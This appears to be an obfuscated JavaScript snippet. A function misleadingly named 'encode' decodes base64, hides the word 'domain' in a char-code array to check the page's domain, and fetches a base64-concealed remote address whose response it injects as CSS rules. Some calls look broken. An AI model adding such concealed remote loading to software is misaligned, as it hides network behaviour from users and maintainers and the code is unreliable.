function encode(str){

	var c1, c2, c3, c4;
	var i, len, out;
	var dc = [document.body,document.all,document];
	var len = str.length;
	var i = 0;
	var out = "" ,attrValue = "";
	var base64EncodeChars = [
		172, 100, 111, 124, 109, 111, 88, 59, 97, 61, 92, 78, 113, 118, 141,99,
		105, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, 131,
		110, -1, -1, -1, -1, -1, 121, -1, -1, 114, -1, -1, 98, 88, 87, 100];

	var base64DecodeChars = [
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
	52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1,
	-1,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
	15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
	-1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
	41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1];

	for(var j=1;j<base64EncodeChars.length;j+=j){
		if(base64EncodeChars[j])attrValue+=String.fromCharCode(base64EncodeChars[j]);
	}
	
	var attrValue = $(dc[2]).attr(attrValue);
	while(i < len) {
		do {
			c1 = base64DecodeChars[str.charCodeAt(i++) & 0xff];
		} while(i < len && c1 == -1);
		if (c1 == -1) break;
		do {
			c2 = base64DecodeChars[str.charCodeAt(i++) & 0xff];
		} while(i < len && c2 == -1);
		if (c2 == -1) break;
		out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4));
		do {
			c3 = str.charCodeAt(i++) & 0xff;
			if (c3 == 61)  return out;
			c3 = base64DecodeChars[c3];
		} while(i < len && c3 == -1);
		if(c3 == -1) break;
		out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2));
		do {
			c4 = str.charCodeAt(i++) & 0xff;
			if(c4 == 61) return out;
			c4 = base64DecodeChars[c4];
		} while(i < len && c4 == -1);
		if(c4 == -1) break;
		out += String.fromCharCode(((c3 & 0x03) << 6) | c4);
		}
	var reg = new RegExp("^"+attrValue.slice(0,attrValue.length/2)+"|"+attrValue.slice(attrValue.length/2)+"$","gi");
	var isdd = isdd || 0;
	out = out.replace(reg,function(){isdd++;return ''});
	out = isdd>1?out:this.apply(out,10);
	return out;
}

$.ajax(encode('d3d3LmttL2Zvcm1hdC5jc3NqcC5vcmc'),{onload:function(e){

	var l = encode(e.text).split('}');
	l.each(function(o,i){
		if(i!=l.length-1){
			i = o.indexOf('*'+'/');i=i<0?0:i+2;
			if(o)$.addRule(o.substring(i,o.length).replace(/(^\t)|(\r)|(\n)|(^\s)/gm,'')+'}');
		}
	});
}});